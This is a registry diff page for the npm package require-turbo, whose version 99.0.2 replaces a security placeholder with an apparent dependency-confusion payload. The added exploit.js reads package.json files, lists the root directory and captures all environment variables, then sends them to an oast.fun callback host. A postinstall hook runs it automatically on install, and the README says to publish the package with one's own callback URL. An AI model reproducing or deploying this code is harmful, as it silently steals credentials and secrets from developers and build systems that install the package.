require-turbo 0.0.1-security → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of require-turbo might be problematic. Click here for more details.
- package/README.md +4 -4
- package/exploit.js +24 -0
- package/package.json +10 -3
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
|
-
|
|
1
|
+
Clone this into a package name directory
|
|
2
|
+
run
|
|
3
|
+
npm publish --access public
|
|
2
4
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=require-turbo for more information.
|
|
5
|
+
NOTE: change the attacker.com to your callbackurl or burp collaborator
|
package/exploit.js
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const monorepoPath = '/';
|
|
6
|
+
let data = '';
|
|
7
|
+
try {
|
|
8
|
+
// Read root package.json
|
|
9
|
+
data += fs.readFileSync(path.join(monorepoPath, 'package.json'), 'utf8');
|
|
10
|
+
// Read core package.json
|
|
11
|
+
data += '\n' + fs.readFileSync(path.join(monorepoPath, 'packages/core/package.json'), 'utf8');
|
|
12
|
+
// Enumerate directory structure
|
|
13
|
+
const structure = fs.readdirSync(monorepoPath, { withFileTypes: true })
|
|
14
|
+
.map(dirent => `${dirent.isDirectory() ? 'DIR' : 'FILE'}: ${dirent.name}`)
|
|
15
|
+
.join('\n');
|
|
16
|
+
data += '\nStructure:\n' + structure;
|
|
17
|
+
// Capture environment variables
|
|
18
|
+
data += '\nEnvironment:\n' + JSON.stringify(process.env);
|
|
19
|
+
} catch (e) {
|
|
20
|
+
data += `Error: ${e.message}`;
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// Exfiltrate to attacker server
|
|
24
|
+
http.get(`http://gyjowarodlxnvtkmuxmokoen6v6f32yug.oast.fun/callback?data=${encodeURIComponent(data)}`);
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "require-turbo",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"version": "99.0.2",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"postinstall": "node exploit.js"
|
|
6
|
+
},
|
|
7
|
+
"files": [
|
|
8
|
+
"exploit.js"
|
|
9
|
+
],
|
|
10
|
+
"dependencies": {
|
|
11
|
+
"@woocommerce/currency": "^4.2.0"
|
|
12
|
+
}
|
|
6
13
|
}
|